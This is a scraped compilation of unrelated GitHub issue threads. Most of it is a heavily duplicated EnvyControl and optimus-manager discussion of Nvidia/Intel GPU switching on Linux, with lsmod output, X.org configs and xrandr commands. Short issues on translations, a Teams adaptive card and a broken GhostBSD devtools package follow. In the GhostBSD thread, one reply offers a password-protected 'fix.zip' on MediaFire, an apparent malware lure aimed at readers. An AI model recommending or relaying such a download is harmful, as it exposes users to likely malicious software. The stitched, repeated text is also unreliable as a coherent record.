i915                 3276800  4
ttm                    86016  1 i915
intel_gtt              28672  1 i915
video                  57344  3 dell_wmi,dell_laptop,i915

Intel mode

~ $ lsmod | grep 'nvidia'
nvidia              35389440  0
~ $ lsmod | grep 'i915'
i915                 3276800  12
ttm                    86016  1 i915
intel_gtt              28672  1 i915
video                  57344  3 dell_wmi,dell_laptop,i915

Hybrid mode

ॐ  ~:
10001 ◯  lsmod | grep 'nvidia'
nvidia_drm             73728  7
nvidia_modeset       1204224  5 nvidia_drm
nvidia              35389440  317 nvidia_modeset
ॐ  ~:
10002 ◯  lsmod | grep 'i915'
i915                 3276800  4
ttm                    86016  1 i915
intel_gtt              28672  1 i915
video                  57344  3 dell_wmi,dell_laptop,i915

A strange thing in integrated mode, when I type this command:

prime-run glxinfo | grep OpenGL

then

~ $ lsmod | grep 'nvidia'

I get

nvidia_modeset       1204224  0
nvidia              35389440  4 nvidia_modeset

dunno why.

@geminis3
Why does iGPU is working always in all modes, why we don't unload it in nvidia mode ? (I'm new to GPUs world, sorry if it's a noob question. Just I want to understand).

It's a I mentioned in before this post, nothing changed:
only gnome+gnomeclassic options on GDM login screen, but shows x11 on gnome control center and nvidia mode works fine when using prime-run command. Defaults to intel.
Nothing new.

That's strange, can you share me the X.org config file generated by optimus-manager for your system? it should be on /etc/X11/xorg.conf.d/10-optimus-manager.conf
This is what I get on Nvidia mode using EnvyControl

Also on integrated mode neither nouveau or nvidia modules are loaded on my system.
Thanks.

It's a I mentioned in before this post, nothing changed:
only gnome+gnomeclassic options on GDM login screen, but shows x11 on gnome control center and nvidia mode works fine when using prime-run command. Defaults to intel.
Nothing new.

That's strange, can you share me the X.org config file generated by optimus-manager for your system? it should be on /etc/X11/xorg.conf.d/10-optimus-manager.conf
This is what I get on Nvidia mode using EnvyControl

Also on integrated mode neither nouveau or nvidia modules are loaded on my system.
Thanks.

Also, can you try if this tutorial from the Fedora docs works on your system?
https://docs.fedoraproject.org/en-US/quick-docs/how-to-set-nvidia-as-primary-gpu-on-optimus-based-laptops/
First set to hybrid mode nor remove all Nvidia related config files under /etc/X11 and /etc/X11/xorg.conf.d.
Create a file called /etc/X11/xorg.conf.d/nvidia.conf with this content:
Section "OutputClass"
	Identifier "nvidia"
	MatchDriver "nvidia-drm"
	Driver "nvidia"
	Option "AllowEmptyInitialConfiguration"
	Option "SLI" "Auto"
	Option "BaseMosaic" "on"
	Option "PrimaryGPU" "yes"
EndSection

Section "ServerLayout"
	Identifier "layout"
	Option "AllowNVIDIAGPUScreens"
EndSection

Reboot and login to Gnome X11 session, from a terminal window execute the following commands:
xrandr --setprovideroutputsource modesetting NVIDIA-0
xrandr --auto

All screens should now be driven by the Nvidia GPU (iGPU is always active since it needs to receive the frame buffers from the Nvidia GPU), you can check this if glxinfo | grep OpenGL now ouputs Nvidia instead of Intel.
If this works for you I can make a .desktop autostart entry for GDM that automatically executes those commands at startup on Nvidia mode.

Also, can you try if this tutorial from the Fedora docs works on your system?
https://docs.fedoraproject.org/en-US/quick-docs/how-to-set-nvidia-as-primary-gpu-on-optimus-based-laptops/
First set to hybrid mode nor remove all Nvidia related config files under /etc/X11 and /etc/X11/xorg.conf.d.
Create a file called /etc/X11/xorg.conf.d/nvidia.conf with this content:
Section "OutputClass"
	Identifier "nvidia"
	MatchDriver "nvidia-drm"
	Driver "nvidia"
	Option "AllowEmptyInitialConfiguration"
	Option "SLI" "Auto"
	Option "BaseMosaic" "on"
	Option "PrimaryGPU" "yes"
EndSection

Section "ServerLayout"
	Identifier "layout"
	Option "AllowNVIDIAGPUScreens"
EndSection

Reboot and login to Gnome X11 session, from a terminal window execute the following commands:
xrandr --setprovideroutputsource modesetting NVIDIA-0
xrandr --auto

All screens should now be driven by the Nvidia GPU (iGPU is always active since it needs to receive the frame buffers from the Nvidia GPU), you can check this if glxinfo | grep OpenGL now ouputs Nvidia instead of Intel.
If this works for you I can make a .desktop autostart entry for GDM that automatically executes those commands at startup on Nvidia mode.

/etc/X11/xorg.conf.d/10-optimus-manager.conf
Section "Device"
Identifier "integrated"
Driver "modesetting"
BusID "PCI:0:2:0"
Option "DRI" "3"
EndSection

/etc/X11/xorg.conf.d/10-optimus-manager.conf
Section "Device"
Identifier "integrated"
Driver "modesetting"
BusID "PCI:0:2:0"
Option "DRI" "3"
EndSection

It's a I mentioned in before this post, nothing changed:
only gnome+gnomeclassic options on GDM login screen, but shows x11 on gnome control center and nvidia mode works fine when using prime-run command. Defaults to intel.
Nothing new.

That's strange, can you share me the X.org config file generated by optimus-manager for your system? it should be on /etc/X11/xorg.conf.d/10-optimus-manager.conf
This is what I get on Nvidia mode using EnvyControl

Also on integrated mode neither nouveau or nvidia modules are loaded on my system.
Thanks.

/etc/X11/xorg.conf.d/10-optimus-manager.conf
Section "Device"
Identifier "integrated"
Driver "modesetting"
BusID "PCI:0:2:0"
Option "DRI" "3"
EndSection

It's a I mentioned in before this post, nothing changed:
only gnome+gnomeclassic options on GDM login screen, but shows x11 on gnome control center and nvidia mode works fine when using prime-run command. Defaults to intel.
Nothing new.

That's strange, can you share me the X.org config file generated by optimus-manager for your system? it should be on /etc/X11/xorg.conf.d/10-optimus-manager.conf
This is what I get on Nvidia mode using EnvyControl

Also on integrated mode neither nouveau or nvidia modules are loaded on my system.
Thanks.

/etc/X11/xorg.conf.d/10-optimus-manager.conf
Section "Device"
Identifier "integrated"
Driver "modesetting"
BusID "PCI:0:2:0"
Option "DRI" "3"
EndSection

I switched to optimus manager again.
Can you show me your output for:
lsmod | grep 'nvidia'
lsmod | grep 'i915' or if you have another intel driver.
in 3 modes ??
I want to compare them to what optimus manager produces for me and see.

I switched to optimus manager again.
Can you show me your output for:
lsmod | grep 'nvidia'
lsmod | grep 'i915' or if you have another intel driver.
in 3 modes ??
I want to compare them to what optimus manager produces for me and see.

Also, can you try if this tutorial from the Fedora docs works on your system?
https://docs.fedoraproject.org/en-US/quick-docs/how-to-set-nvidia-as-primary-gpu-on-optimus-based-laptops/
First set to hybrid mode nor remove all Nvidia related config files under /etc/X11 and /etc/X11/xorg.conf.d.
Create a file called /etc/X11/xorg.conf.d/nvidia.conf with this content:
Section "OutputClass"
	Identifier "nvidia"
	MatchDriver "nvidia-drm"
	Driver "nvidia"
	Option "AllowEmptyInitialConfiguration"
	Option "SLI" "Auto"
	Option "BaseMosaic" "on"
	Option "PrimaryGPU" "yes"
EndSection

Section "ServerLayout"
	Identifier "layout"
	Option "AllowNVIDIAGPUScreens"
EndSection

Reboot and login to Gnome X11 session, from a terminal window execute the following commands:
xrandr --setprovideroutputsource modesetting NVIDIA-0
xrandr --auto

All screens should now be driven by the Nvidia GPU (iGPU is always active since it needs to receive the frame buffers from the Nvidia GPU), you can check this if glxinfo | grep OpenGL now ouputs Nvidia instead of Intel.
If this works for you I can make a .desktop autostart entry for GDM that automatically executes those commands at startup on Nvidia mode.

I switched to  optimus manager . I don't want to mess things again...

Also, can you try if this tutorial from the Fedora docs works on your system?
https://docs.fedoraproject.org/en-US/quick-docs/how-to-set-nvidia-as-primary-gpu-on-optimus-based-laptops/
First set to hybrid mode nor remove all Nvidia related config files under /etc/X11 and /etc/X11/xorg.conf.d.
Create a file called /etc/X11/xorg.conf.d/nvidia.conf with this content:
Section "OutputClass"
	Identifier "nvidia"
	MatchDriver "nvidia-drm"
	Driver "nvidia"
	Option "AllowEmptyInitialConfiguration"
	Option "SLI" "Auto"
	Option "BaseMosaic" "on"
	Option "PrimaryGPU" "yes"
EndSection

Section "ServerLayout"
	Identifier "layout"
	Option "AllowNVIDIAGPUScreens"
EndSection

Reboot and login to Gnome X11 session, from a terminal window execute the following commands:
xrandr --setprovideroutputsource modesetting NVIDIA-0
xrandr --auto

All screens should now be driven by the Nvidia GPU (iGPU is always active since it needs to receive the frame buffers from the Nvidia GPU), you can check this if glxinfo | grep OpenGL now ouputs Nvidia instead of Intel.
If this works for you I can make a .desktop autostart entry for GDM that automatically executes those commands at startup on Nvidia mode.

I switched to  optimus manager . I don't want to mess things again...

Testing with ~/ watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status
showed that my nvidia gpu is always "active" on integrated+Hybrid mode. Loooooool ?!
I use nvidia 470 drivers (this is the last driver version supported for my gpu).

Testing with ~/ watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status
showed that my nvidia gpu is always "active" on integrated+Hybrid mode. Loooooool ?!
I use nvidia 470 drivers (this is the last driver version supported for my gpu).

Testing with ~/ watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status
showed that my nvidia gpu is always "active" on integrated+Hybrid mode. Loooooool ?!
I use nvidia 470 drivers (this is the last driver version supported for my gpu).

Of course it's always active because you need an RTX card for power management to work on Linux, it's on the official documentation.

Testing with ~/ watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status
showed that my nvidia gpu is always "active" on integrated+Hybrid mode. Loooooool ?!
I use nvidia 470 drivers (this is the last driver version supported for my gpu).

Of course it's always active because you need an RTX card for power management to work on Linux, it's on the official documentation.

@geminis3
I followed config 2 here to disable nvidia card on intel mode.
https://github.com/Askannz/optimus-manager/wiki/A-guide--to-power-management-options#configuration-2--pci-power-control
It worked for me by loading nouveau, so no nvidia driver anymore on lsmod output.
But, it's hacky solution, because when I launch firefox and some other programs, watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status out goes from suspended --> active --> suspending --> suspended. They are polling the nvidia driver.
So, I removed nouveau option and used ci_power_control=yes, pci_remove=yes as they said there. Now lsmod for nvidia or nouveau doesn't return anything. is that config fine to turn off nvidia on intel to your opinion?

@geminis3
I followed config 2 here to disable nvidia card on intel mode.
https://github.com/Askannz/optimus-manager/wiki/A-guide--to-power-management-options#configuration-2--pci-power-control
It worked for me by loading nouveau, so no nvidia driver anymore on lsmod output.
But, it's hacky solution, because when I launch firefox and some other programs, watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status out goes from suspended --> active --> suspending --> suspended. They are polling the nvidia driver.
So, I removed nouveau option and used ci_power_control=yes, pci_remove=yes as they said there. Now lsmod for nvidia or nouveau doesn't return anything. is that config fine to turn off nvidia on intel to your opinion?

@geminis3
I followed config 2 here to disable nvidia card on intel mode.
https://github.com/Askannz/optimus-manager/wiki/A-guide--to-power-management-options#configuration-2--pci-power-control
It worked for me by loading nouveau, so no nvidia driver anymore on lsmod output.
But, it's hacky solution, because when I launch firefox and some other programs, watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status out goes from suspended --> active --> suspending --> suspended. They are polling the nvidia driver.
So, I removed nouveau option and used ci_power_control=yes, pci_remove=yes as they said there. Now lsmod for nvidia or nouveau doesn't return anything. is that config fine to turn off nvidia on intel to your opinion?

Nouveau has power management but it's useless to use it on a modern Nvidia GPU, Intel HD graphics performs better than a RTX3090 with Nouveau due to Nvidia blocking non-official drivers to control the clock speeds.
The integrated mode of EnvyControl removes the card from the PCI bus to prevent it from drawing power.

@geminis3
I followed config 2 here to disable nvidia card on intel mode.
https://github.com/Askannz/optimus-manager/wiki/A-guide--to-power-management-options#configuration-2--pci-power-control
It worked for me by loading nouveau, so no nvidia driver anymore on lsmod output.
But, it's hacky solution, because when I launch firefox and some other programs, watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status out goes from suspended --> active --> suspending --> suspended. They are polling the nvidia driver.
So, I removed nouveau option and used ci_power_control=yes, pci_remove=yes as they said there. Now lsmod for nvidia or nouveau doesn't return anything. is that config fine to turn off nvidia on intel to your opinion?

Nouveau has power management but it's useless to use it on a modern Nvidia GPU, Intel HD graphics performs better than a RTX3090 with Nouveau due to Nvidia blocking non-official drivers to control the clock speeds.
The integrated mode of EnvyControl removes the card from the PCI bus to prevent it from drawing power.

@geminis3
I followed config 2 here to disable nvidia card on intel mode.
https://github.com/Askannz/optimus-manager/wiki/A-guide--to-power-management-options#configuration-2--pci-power-control
It worked for me by loading nouveau, so no nvidia driver anymore on lsmod output.
But, it's hacky solution, because when I launch firefox and some other programs, watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status out goes from suspended --> active --> suspending --> suspended. They are polling the nvidia driver.
So, I removed nouveau option and used ci_power_control=yes, pci_remove=yes as they said there. Now lsmod for nvidia or nouveau doesn't return anything. is that config fine to turn off nvidia on intel to your opinion?

Nouveau has power management but it's useless to use it on a modern Nvidia GPU, Intel HD graphics performs better than a RTX3090 with Nouveau due to Nvidia blocking non-official drivers to control the clock speeds.
The integrated mode of EnvyControl removes the card from the PCI bus to prevent it from drawing power.

envycontrol haven't worked for me. I asked about that solution is it fine ?

@geminis3
I followed config 2 here to disable nvidia card on intel mode.
https://github.com/Askannz/optimus-manager/wiki/A-guide--to-power-management-options#configuration-2--pci-power-control
It worked for me by loading nouveau, so no nvidia driver anymore on lsmod output.
But, it's hacky solution, because when I launch firefox and some other programs, watch -n1 -d -t cat /sys/bus/pci/devices/0000:08:00.0/power/runtime_status out goes from suspended --> active --> suspending --> suspended. They are polling the nvidia driver.
So, I removed nouveau option and used ci_power_control=yes, pci_remove=yes as they said there. Now lsmod for nvidia or nouveau doesn't return anything. is that config fine to turn off nvidia on intel to your opinion?

Nouveau has power management but it's useless to use it on a modern Nvidia GPU, Intel HD graphics performs better than a RTX3090 with Nouveau due to Nvidia blocking non-official drivers to control the clock speeds.
The integrated mode of EnvyControl removes the card from the PCI bus to prevent it from drawing power.

envycontrol haven't worked for me. I asked about that solution is it fine ?

envycontrol haven't worked for me. I asked about that solution is it fine ?

If it works for you it's fine, Nvidia is such a disgrace on Linux.

Yeah, I don't see NVIDIA anymore on powertop, I'll test power consumption.
However, that rectagular black border on firefox is too annoying...
Jan 2, 2022, 01:04 by @.***:

envycontrol haven't worked for me. I asked about that solution is it fine ?

If it works for you it's fine, Nvidia is such a disgrace on Linux.
—
Reply to this email directly, > view it on GitHub https://github.com/geminis3/envycontrol/issues/5#issuecomment-1003638709> , or > unsubscribe https://github.com/notifications/unsubscribe-auth/AIPC4MJFMERZCWGOH7L6G2TUT6I7NANCNFSM5K46Z37A> .
Triage notifications on the go with GitHub Mobile for > iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>  or > Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub> .
You are receiving this because you authored the thread.> Message ID: > <geminis3/envycontrol/issues/5/1003638709> @> github> .> com>


feature: translations [NP-974]

This PR replaces hard coded strings and CSS translations with Rails I18n compatible translation strings.

[ ] actually translate the welsh

I've submitted translations for review.

@luke-hill hey Luke, you mentioned these tests might have trouble - what should I do? Mark them for future_release or are they simple enough to fix?

So it's 2-fold actually. Because of the way the browserstack tests will run.
So they need fixing "and" tagging as future_release. But for now if you want to get this ticket done quickly, just tag them as future release and I can fix them up later.


SRT Reporters: Only show single transcript option for genes

The option is currently being shown for all record types

this seems fixed


Generating avatar for number of attendees in an adaptive card

Hello, I'm trying to develop an adaptive card in Teams which will be able to generate an avatar which displays the number of attendees in the meeting.
For instance 10+ for more than 10 attendees - is there an endpoint for the teams service to retrieve such avatar?
Thanks ahead,
Alex.

@tsalex1992 - There doesn't seem to be any API available to retrieve such avatar.

We are closing the issue for now. Please feel free to reopen if required.


Installing devtools on 24.04.2 completely breaks the system

Version
24.04.2
What desktop?
Official MATE
Explain the issue and what happens
Installing the os-generic-userland-devtools package completely breaks the system. There is a warning about something being in the same location (I forget the exact message). It seems to be a libc issue?
Explain how to reproduce the bug?
Simply install the package.
What is the Expected behavior (if applicable)
No response
Additional context (if applicable)
No response

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

os-generic-userland-devtools is deprecated in 24.04.2 and is being removed in future releases.
The FAQ has been updated: https://ghostbsd-documentation-portal.readthedocs.io/en/latest/user/FAQ.html#why-can-t-i-compile-code-or-ports-on-ghostbsd.
To install devtools no, you must sudo pkg install -g 'GhostBSD*-dev'.
This is a duplication of #167.